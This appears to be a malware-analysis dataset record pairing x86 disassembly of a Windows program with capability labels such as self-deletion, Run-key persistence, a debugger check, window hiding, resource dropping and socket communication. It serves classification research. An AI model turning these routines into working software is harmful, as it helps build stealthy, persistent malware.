joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405100
Capabilities:
Create process on windows
Get common file path
Self delete

Disassembly:
sub esp, 0xd88
mov eax, dword [0x4995d0]
xor eax, esp
mov dword [esp + 0xd80], eax
push esi
push 0x44
lea eax, [esp + 0x1c]
push 0
push eax
call fcn.00458440
add esp, 0xc
lea edx, [esp + 0x168]
push edx
xor ecx, ecx
push 0x104
mov dword [esp + 0x20], 0x44
mov dword [esp + 0x4c], 1
mov word [esp + 0x50], cx
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [esp + 0x168]
push eax
push 0
push 0x480994
mov ecx, eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
push 0x48099c
lea edx, [esp + 0x16c]
push 0x104
push edx
call fcn.004557f8
add esp, 0xc
push 0x104
lea eax, [esp + 0x64]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x4052f0
lea ecx, [esp + 0x60]
push 0x5c
push ecx
call fcn.00455870
add esp, 8
test eax, eax
je 0x4051c8
lea edx, [esp + 0x60]
sub eax, edx
push eax
mov eax, edx
push eax
push 0x104
lea ecx, [esp + 0x27c]
push ecx
jmp 0x4051ec
lea eax, [esp + 0x60]
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4051d0
sub eax, edx
push eax
lea edx, [esp + 0x64]
push edx
push 0x104
lea eax, [esp + 0x27c]
push eax
call fcn.0045589d
add esp, 0x10
push 0x104
lea ecx, [esp + 0x37c]
push ecx
push 0xffffffffffffffff
lea edx, [esp + 0x27c]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [esp + 0x378]
push eax
call fcn.00417770
add esp, 4
cmp eax, 1
push 0
jle 0x40525a
lea ecx, [esp + 0x16c]
push ecx
lea edx, [esp + 0x68]
push edx
mov eax, edx
push eax
push 1
push 0x4809a8
lea ecx, [esp + 0x598]
push 0x800
push ecx
call fcn.00455952
add esp, 0x20
jmp 0x405291
lea edx, [esp + 0x16c]
push edx
lea eax, [esp + 0x278]
push eax
mov ecx, eax
push ecx
lea edx, [esp + 0x70]
push edx
mov eax, edx
push eax
push 1
push 0x480a00
lea ecx, [esp + 0x5a0]
push 0x800
push ecx
call fcn.00455952
add esp, 0x28
lea edx, [esp + 0x580]
push edx
lea eax, [esp + 0x16c]
call fcn.00405310
lea eax, [esp + 8]
push eax
lea ecx, [esp + 0x1c]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea edx, [esp + 0x188]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4052f0
mov eax, dword [esp + 0xc]
push 0xfffffffffffffff1
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov ecx, dword [esp + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
mov edx, dword [esp + 8]
push edx
call esi
mov ecx, dword [esp + 0xd84]
pop esi
xor ecx, esp
call fcn.004541a5
add esp, 0xd88
ret
Function at 0x405310
Capabilities:
Write file on windows

Disassembly:
push ecx
push esi
push 0
push 0
push 4
push 0
push 1
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x405336
or eax, eax
pop esi
pop ecx
ret 4
mov eax, dword [esp + 0xc]
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405340
push ebx
push ebp
push edi
push 2
push 0
push 0
sub eax, edx
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xffffffff
jne 0x405387
call ebp
mov ebx, eax
test ebx, ebx
je 0x405387
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop edi
pop ebp
pop ebx
or eax, 0xffffffff
pop esi
pop ecx
ret 4
mov edx, dword [esp + 0x18]
push 0
lea ecx, [esp + 0x14]
push ecx
push edi
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x4053bc
call ebp
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop edi
pop ebp
pop ebx
or eax, 0xffffffff
pop esi
pop ecx
ret 4
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
pop edi
pop ebp
pop ebx
pop esi
pop ecx
ret 4
Function at 0x4062b0
Capabilities:
Create thread

Disassembly:
sub esp, 0x14
lea ecx, [esp + 4]
push ecx
push 0
lea edx, [esp + 0x10]
push edx
push 0x406300
push 0
push 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, dword [esi + 0xf28]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [esi + 0xf28]
push ecx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, 1
add esp, 0x14
ret
Function at 0x406600
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x270
mov eax, dword [0x4995d0]
xor eax, esp
mov dword [esp + 0x268], eax
push esi
xor eax, eax
push 0x206
mov esi, ecx
push eax
lea ecx, [esp + 0x6a]
push ecx
mov word [esp + 0x6c], ax
call fcn.00458440
add esp, 0xc
test esi, esi
jne 0x406648
push 0x104
lea edx, [esp + 0x64]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
jmp 0x40665b
push esi
lea eax, [esp + 0x64]
push 0x104
push eax
call fcn.004544ff
add esp, 0xc
push 0x44
lea ecx, [esp + 0x1c]
push 0
push ecx
call fcn.00458440
add esp, 0xc
lea eax, [esp + 8]
push eax
lea ecx, [esp + 0x1c]
push ecx
push 0
push 0
push 0x40
push 0
push 0
mov edx, 1
mov word [esp + 0x64], dx
push 0
lea edx, [esp + 0x80]
push edx
push 0
mov dword [esp + 0x6c], 1
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x4066bc
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
mov ecx, dword [esp + 8]
push ecx
call esi
mov ecx, dword [esp + 0x26c]
pop esi
xor ecx, esp
call fcn.004541a5
add esp, 0x270
ret

Function at 0x4066e0
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 0
push 0x406700
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
ret
Function at 0x406ef0
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push 0xffffffffffffffff
push 0x474108
mov eax, dword fs:[0]
push eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4995d0]
xor eax, esp
push eax
lea eax, [esp + 0x14]
mov dword fs:[0], eax
xor ebx, ebx
mov dword [esp + 0x1c], ebx
mov eax, dword [esp + 0x24]
mov eax, dword [eax - 0xc]
lea edi, [eax + eax]
lea ebp, [edi + 2]
push ebp
call fcn.00434490
add esp, 4
push ebp
mov esi, eax
push ebx
push esi
call fcn.00458440
mov eax, dword [esp + 0x30]
add esp, 0xc
cmp dword [eax - 4], 1
jle 0x406f58
mov ecx, dword [eax - 0xc]
push ecx
lea ecx, [esp + 0x28]
call fcn.0040a220
mov eax, dword [esp + 0x24]
push edi
push eax
push esi
call fcn.0045a250
mov edx, dword [esp + 0x38]
add esp, 0xc
push edx
mov byte [esi + edi], bl
mov byte [esi + edi + 1], bl
mov ebx, dword [esp + 0x2c]
push esi
mov ecx, edi
call fcn.00406b90
push esi
call fcn.00434485
mov dword [esp + 0x28], 0xffffffff
mov eax, dword [esp + 0x30]
add eax, 0xfffffff0
add esp, 0xc
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x406fac
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret

Function at 0x4072d0
Capabilities:
Delete registry value
Persist via run registry key
Set registry value

Disassembly:
sub esp, 0x10c
mov eax, dword [0x4995d0]
xor eax, esp
mov dword [esp + 0x108], eax
xor eax, eax
push 0xfe
push eax
lea ecx, [esp + 0x12]
push ecx
mov word [esp + 0x14], ax
call fcn.00458440
add esp, 0xc
push 0x480254
push 0x480264
mov dword [esp + 8], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x49e640], eax
test eax, eax
je 0x407337
lea edx, [esp]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [0x49e640]
cmp dword [esp], 0
je 0x40734e
push 0x480cb0
push 0x80
lea eax, [esp + 0x10]
push eax
jmp 0x40735d
push 0x480d28
push 0x80
lea ecx, [esp + 0x10]
push ecx
call fcn.004544ff
add esp, 0xc
cmp dword [esp + 0x110], 0
lea edx, [esp + 4]
push edx
lea eax, [esp + 4]
push eax
lea ecx, [esp + 0x10]
push 0
je 0x4073cf
push 0x20006
push 0
push 0
push 0
push ecx
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x407401
mov eax, esi
lea edx, [eax + 2]
nop
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4073a0
sub eax, edx
sar eax, 1
lea edx, [eax + eax]
push edx
push esi
push 1
push 0
call fcn.004133b0
push eax
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [esp]
push ecx
jmp 0x4073fb
push 2
push 0
push 0
push 0
push ecx
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x407401
call fcn.004133b0
mov edx, dword [esp]
push eax
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov eax, dword [esp]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x108]
xor ecx, esp
call fcn.004541a5
add esp, 0x10c
ret
Function at 0x409fa0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x409fb9
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x409ff4
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x409ff0
lea ebx, [ebx]
cmp esi, eax
jae 0x409ff4
sub ecx, 1
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x409fe0
cmp esi, eax
jb 0x409ffa
pop esi
pop edi
xor eax, eax
pop ebx
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret

Function at 0x40b2b0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x2a8
mov eax, dword [0x4995d0]
xor eax, esp
mov dword [esp + 0x2a0], eax
push esi
xor eax, eax
push 0x23e
push eax
lea ecx, [esp + 0x6a]
push ecx
mov word [esp + 0x6c], ax
call fcn.00458440
add esp, 0xc
push 0x104
lea edx, [esp + 0x64]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x4812b0
lea eax, [esp + 0x64]
push 0x120
push eax
call fcn.0045456e
push 0x44
lea ecx, [esp + 0x28]
push 0
push ecx
call fcn.00458440
add esp, 0x18
lea eax, [esp + 8]
push eax
lea ecx, [esp + 0x1c]
push ecx
push 0
push 0
push 0x40
push 0
push 0
mov edx, 1
mov word [esp + 0x64], dx
push 0
lea edx, [esp + 0x80]
push edx
push 0
mov dword [esp + 0x6c], 1
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x40b366
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
mov ecx, dword [esp + 8]
push ecx
call esi
mov ecx, dword [esp + 0x2a4]
pop esi
xor ecx, esp
call fcn.004541a5
add esp, 0x2a8
ret
Function at 0x410910
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, dword [sym.imp.USER32.dll_IsWindowVisible]
push esi
mov esi, eax
mov eax, dword [esi + 0x20]
push edi
push eax
call ebp
test eax, eax
je 0x4109e4
cmp dword [esi + 0xf84], 0
jle 0x4109db
mov eax, dword [esi + 0xfb4]
test eax, eax
jl 0x4109df
cmp eax, dword [esi + 0xf84]
jge 0x4109df
mov ecx, dword [esi + 0xf80]
mov edx, dword [ecx + eax*4]
mov edi, dword [sym.imp.USER32.dll_ShowWindow]
push ebx
push 0
push edx
call edi
mov eax, dword [esi + 0x20]
push 0
push eax
call edi
mov eax, dword [0x49e6c8]
mov ebx, dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x4109a7
mov eax, dword [eax + 0x20]
test eax, eax
je 0x4109a7
push eax
call ebx
test eax, eax
je 0x4109a7
mov ecx, dword [0x49e6c8]
mov edx, dword [ecx + 0x20]
push edx
call ebp
test eax, eax
je 0x4109a7
mov ecx, dword [0x49e6c8]
push 2
call fcn.00436905
lea edi, [esi + 0x18e0]
test edi, edi
je 0x4109da
cmp dword [edi + 0x20], 0
je 0x4109da
mov eax, dword [esi + 0x1900]
push eax
call ebx
test eax, eax
je 0x4109da
mov ecx, dword [esi + 0x1900]
push ecx
call ebp
test eax, eax
je 0x4109da
push 0
mov ecx, edi
call fcn.0043a509
pop ebx
pop edi
pop esi
pop ebp
ret
call fcn.0043474a
mov eax, dword [esi + 0xfb4]
test eax, eax
jl 0x4109df
cmp eax, dword [esi + 0xf84]
jge 0x4109df
mov edx, dword [esi + 0xf80]
mov eax, dword [edx + eax*4]
mov edi, dword [sym.imp.USER32.dll_ShowWindow]
push 5
push eax
call edi
mov ecx, dword [esi + 0x20]
push 9
push ecx
call edi
call fcn.004112a0
pop edi
pop esi
pop ebp
ret
Function at 0x411310
Capabilities:
Get common file path
Read .ini file

Disassembly:
sub esp, 0x234
mov eax, dword [0x4995d0]
xor eax, esp
mov dword [esp + 0x230], eax
mov eax, dword [0x480710]
mov ecx, dword [0x480714]
mov edx, dword [0x480718]
mov dword [esp + 0x10], eax
mov eax, dword [0x48071c]
mov dword [esp + 0x14], ecx
mov ecx, dword [0x480720]
mov dword [esp + 0x1c], eax
xor eax, eax
push 0x206
mov dword [esp + 0x24], ecx
mov dword [esp + 0x1c], edx
mov dx, word [0x480724]
push eax
lea ecx, [esp + 0x32]
push ecx
mov word [esp + 0x30], dx
mov dword [esp + 0xc], 0x31
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov word [esp + 0x34], ax
call fcn.00458440
add esp, 0xc
lea edx, [esp + 0x28]
push edx
push 0
push 0
push 0x23
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push 0x480204
lea eax, [esp + 0x2c]
push 0x104
push eax
call fcn.0045456e
add esp, 0xc
lea ecx, [esp + 0x28]
push ecx
push 8
lea edx, [esp + 8]
push edx
lea eax, [esp + 0x1c]
push 0x480728
push eax
call fcn.004133b0
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
mov ecx, 0x31
xor eax, eax
cmp cx, word [esp]
mov ecx, dword [esp + 0x230]
sete al
xor ecx, esp
call fcn.004541a5
add esp, 0x234
ret

Function at 0x411400
Capabilities:
Get common file path

Disassembly:
sub esp, 0x224
mov eax, dword [0x4995d0]
xor eax, esp
mov dword [esp + 0x220], eax
mov eax, dword [0x480710]
mov ecx, dword [0x480714]
mov edx, dword [0x480718]
mov dword [esp], eax
mov eax, dword [0x48071c]
mov dword [esp + 4], ecx
mov ecx, dword [0x480720]
mov dword [esp + 0xc], eax
xor eax, eax
push 0x206
mov dword [esp + 0x14], ecx
mov dword [esp + 0xc], edx
mov dx, word [0x480724]
push eax
lea ecx, [esp + 0x22]
push ecx
mov word [esp + 0x20], dx
mov word [esp + 0x24], ax
call fcn.00458440
add esp, 0xc
lea edx, [esp + 0x18]
push edx
push 0
push 0
push 0x23
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push 0x480204
lea eax, [esp + 0x1c]
push 0x104
push eax
call fcn.0045456e
add esp, 0xc
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 4]
push 0x480728
push edx
call fcn.004133b0
push eax
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
mov ecx, dword [esp + 0x220]
xor ecx, esp
call fcn.004541a5
add esp, 0x224
ret

Function at 0x4152f0
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x19c
mov eax, dword [0x4995d0]
xor eax, esp
mov dword [esp + 0x194], eax
lea eax, [esp]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x415345
mov eax, dword [esp]
cmp al, 2
jne 0x41533f
shr eax, 8
cmp al, 2
jne 0x41533f
mov eax, 1
mov ecx, dword [esp + 0x194]
xor ecx, esp
call fcn.004541a5
add esp, 0x19c
ret
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [esp + 0x194]
xor ecx, esp
xor eax, eax
call fcn.004541a5
add esp, 0x19c
ret
Function at 0x415390
Capabilities:
Connect socket
Resolve dns

Disassembly:
sub esp, 0x20
mov eax, dword [0x4995d0]
xor eax, esp
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x24]
push ebx
push ebp
push esi
push edi
mov esi, ecx
push 0x3a
push esi
mov dword [esp + 0x1c], eax
mov ebp, 0x50
mov edi, esi
call fcn.00456c40
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x4153ee
lea ecx, [ebx + 1]
push ecx
call fcn.00456b7e
sub ebx, esi
lea ebp, [ebx + 1]
push ebp
mov dword [esp + 0x20], eax
call fcn.00434490
push ebx
push esi
mov edi, eax
push ebp
push edi
call fcn.0045589d
mov ebp, dword [esp + 0x30]
add esp, 0x18
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov ebx, eax
test ebx, ebx
jne 0x41541f
cmp edi, esi
je 0x415408
push edi
call fcn.00434485
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x1c]
xor ecx, esp
call fcn.004541a5
add esp, 0x20
ret 4
cmp edi, esi
je 0x41542c
push edi
call fcn.00434485
add esp, 4
mov edx, dword [ebx + 0xc]
mov eax, dword [edx]
mov esi, dword [eax]
xor eax, eax
mov ecx, 2
mov dword [esp + 0x1c], eax
push ebp
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov word [esp + 0x20], cx
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x1e], ax
mov eax, dword [esp + 0x14]
mov ecx, dword [eax + 0x10]
push 0x10
lea edx, [esp + 0x20]
push edx
push ecx
mov dword [esp + 0x2c], esi
call dword [sym.imp.WS2_32.dll_connect]
mov ecx, dword [esp + 0x2c]
pop edi
pop esi
neg eax
pop ebp
sbb eax, eax
pop ebx
xor ecx, esp
inc eax
call fcn.004541a5
add esp, 0x20
ret 4

Function at 0x415490
Capabilities:
Send data
Send data on socket

Disassembly:
mov eax, edx
push esi
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x415496
push 0
sub eax, esi
push eax
mov eax, dword [esp + 0x10]
mov ecx, dword [eax + 0x10]
push edx
push ecx
call dword [sym.imp.WS2_32.dll_send]
xor edx, edx
cmp eax, 0xffffffff
setne dl
pop esi
mov eax, edx
ret 4

Function at 0x4154c0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ecx
mov eax, dword [edi + 0xc]
push ebx
push ebp
push esi
xor esi, esi
cmp eax, esi
je 0x4154d9
push eax
call fcn.00434485
add esp, 4
mov dword [edi + 0xc], esi
push 0x400
call fcn.00434490
push 0x400
push esi
push eax
mov dword [edi + 0xc], eax
call fcn.00458440
mov ebp, dword [sym.imp.WS2_32.dll_recv]
add esp, 0x10
mov bl, 0xd
lea ecx, [ecx]
mov ecx, dword [edi + 0x10]
push 0
push 1
lea eax, [esp + 0x17]
push eax
push ecx
call ebp
mov edx, dword [edi + 0xc]
mov al, byte [esp + 0xf]
mov byte [esi + edx], al
inc esi
cmp esi, 4
jl 0x415500
mov ecx, dword [edi + 0xc]
cmp byte [esi + ecx - 4], bl
lea eax, [esi + ecx]
jne 0x415500
cmp byte [eax - 3], 0xa
jne 0x415500
cmp byte [eax - 2], bl
jne 0x415500
cmp byte [eax - 1], 0xa
jne 0x415500
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x4160e0
Capabilities:
Set socket configuration

Disassembly:
sub esp, 8
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_getprotobyname]
push ebp
mov ebp, dword [sym.imp.WS2_32.dll_socket]
push esi
mov dword [esp + 0xc], 0
lea ebx, [ebx]
mov eax, dword [esp + 0x1c]
push eax
mov eax, dword [esp + 0x1c]
push edi
call fcn.00415b90
test eax, eax
jne 0x416189
push 0x4823a4
lea esi, [edi + 8]
call ebx
movsx ecx, word [eax + 8]
push ecx
push 1
push 2
call ebp
mov dword [esi + 0x10], eax
cmp eax, 0xffffffff
jne 0x416134
xor eax, eax
jmp 0x416171
mov ecx, dword [esi]
push esi
call fcn.00415390
test eax, eax
je 0x416171
mov eax, dword [edi + 0x18]
push 4
lea edx, [esp + 0x14]
push edx
push 0x1006
push 0xffff
push eax
mov dword [esp + 0x24], 0x80
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
je 0x41616b
xor eax, eax
jmp 0x416171
push edi
call fcn.00415c50
inc dword [esp + 0xc]
test eax, eax
jne 0x41618b
cmp dword [esp + 0xc], 5
jl 0x416100
pop esi
pop ebp
pop ebx
add esp, 8
ret 8
xor eax, eax
pop esi
pop ebp
pop ebx
add esp, 8
ret 8
Function at 0x4161a0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push 0xffffffffffffffff
push 0x4746f8
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x4995d0]
xor eax, esp
mov dword [esp + 0x24], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4995d0]
xor eax, esp
push eax
lea eax, [esp + 0x3c]
mov dword fs:[0], eax
mov ebp, dword [esp + 0x4c]
mov esi, ecx
mov dword [esp + 0x18], ebp
mov edi, edx
mov dword [esp + 0x14], 0
call fcn.00415150
push edi
mov ebx, esi
call fcn.004151d0
test eax, eax
jne 0x41621a
xor eax, eax
push eax
mov dword [ebp + 0x18], 0xf
mov dword [ebp + 0x14], eax
push 0x48243e
mov ecx, ebp
mov byte [ebp + 4], al
call fcn.00409360
mov eax, ebp
jmp 0x416380
call fcn.004152f0
test eax, eax
je 0x4161f7
push 0x4823a4
call dword [sym.imp.WS2_32.dll_getprotobyname]
movsx eax, word [eax + 8]
push eax
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi + 0x10], eax
cmp eax, 0xffffffff
jne 0x416258
push 0x48243e
mov ecx, ebp
call fcn.00408cb0
mov eax, ebp
jmp 0x416380
mov ecx, dword [esi]
push esi
call fcn.00415390
test eax, eax
je 0x416245
push 0x80
mov ecx, esi
call fcn.00415550
test eax, eax
je 0x416245
mov edx, dword [esi + 4]
mov ecx, dword [esi]
push 0
push 0
mov edi, esi
call fcn.00415580
mov edx, dword [esi + 8]
push esi
call fcn.00415490
test eax, eax
je 0x416245
mov eax, dword [esi + 0xc]
test eax, eax
je 0x4162a8
push eax
call fcn.00434485
add esp, 4
mov dword [esi + 0xc], 0
push 0x400
call fcn.00434490
add esp, 4
push 0x400
push 0
push eax
mov dword [esi + 0xc], eax
call fcn.00458440
mov ebp, dword [sym.imp.WS2_32.dll_recv]
add esp, 0xc
xor edi, edi
mov bl, 0xd
mov edx, dword [esi + 0x10]
push 0
push 1
lea ecx, [esp + 0x1c]
push ecx
push edx
call ebp
mov eax, dword [esi + 0xc]
mov cl, byte [esp + 0x14]
mov byte [edi + eax], cl
inc edi
cmp edi, 4
jl 0x4162d2
mov edx, dword [esi + 0xc]
cmp byte [edx + edi - 4], bl
lea eax, [edx + edi]
jne 0x4162d2
cmp byte [eax - 3], 0xa
jne 0x4162d2
cmp byte [eax - 2], bl
jne 0x4162d2
cmp byte [eax - 1], 0xa
jne 0x4162d2
xor eax, eax
mov dword [esp + 0x34], 0xf
mov dword [esp + 0x30], eax
mov byte [esp + 0x20], al
mov dword [esp + 0x44], eax
mov ecx, dword [esi + 0x10]
push 0
push 1
lea eax, [esp + 0x1c]
push eax
push ecx
call ebp
mov edx, dword [esp + 0x14]
mov ebx, eax
push edx
mov eax, 1
lea edi, [esp + 0x20]
call fcn.00416590
test ebx, ebx
jg 0x416324
mov eax, dword [esi + 0x10]
push 2
push eax
call dword [sym.imp.WS2_32.dll_shutdown]
mov ecx, dword [esi + 0x10]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi + 0x10], 0
mov esi, dword [esp + 0x18]
mov edx, edi
push edx
mov ecx, esi
call fcn.00411650
mov ecx, edi
call fcn.00408cf0
mov eax, esi
mov ecx, dword [esp + 0x3c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x24]
xor ecx, esp
call fcn.004541a5
add esp, 0x34
ret 4
Function at 0x417280
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ecx
push esi
mov esi, eax
test esi, esi
je 0x41733c
xor eax, eax
cmp ax, word [esi]
je 0x41733c
push ebp
push 0x486b98
push 0xc1
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov ebp, eax
test ebp, ebp
jne 0x4172b3
pop ebp
pop esi
pop ecx
ret
push ebx
push ebp
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
jne 0x4172c8
pop ebx
pop ebp
pop esi
pop ecx
ret
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
jne 0x4172e5
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
pop ebx
pop ebp
xor eax, eax
pop esi
pop ecx
ret
push 0
push 0
push 2
push 0
push 1
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x417323
push ebp
push 0
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push 0
lea ecx, [esp + 0x14]
push ecx
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
pop ebx
pop ebp
mov eax, 1
pop esi
pop ecx
ret
xor eax, eax
pop esi
pop ecx
ret